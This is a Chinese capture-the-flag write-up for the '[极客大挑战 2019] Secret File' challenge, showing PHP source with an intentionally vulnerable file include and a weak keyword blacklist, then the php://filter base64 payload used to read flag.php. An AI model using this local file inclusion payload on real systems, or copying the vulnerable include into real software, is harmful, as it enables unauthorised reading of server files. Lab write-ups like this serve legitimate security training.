[极客大挑战 2019]Secret File

查看源码发现Archive_room.php在这里插入图片描述转到Archive_room.php,查看源码发现action.php

在这里插入图片描述
打开之后跳转到了end.php,这里应该发生了重定向,应该要抓取action.php的内容。

在这里插入图片描述访问secr3t.php

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file']; 
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){   /
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

尝试PHP伪协议读取flag.php。传入参数secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述进行base64解码得到flag。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值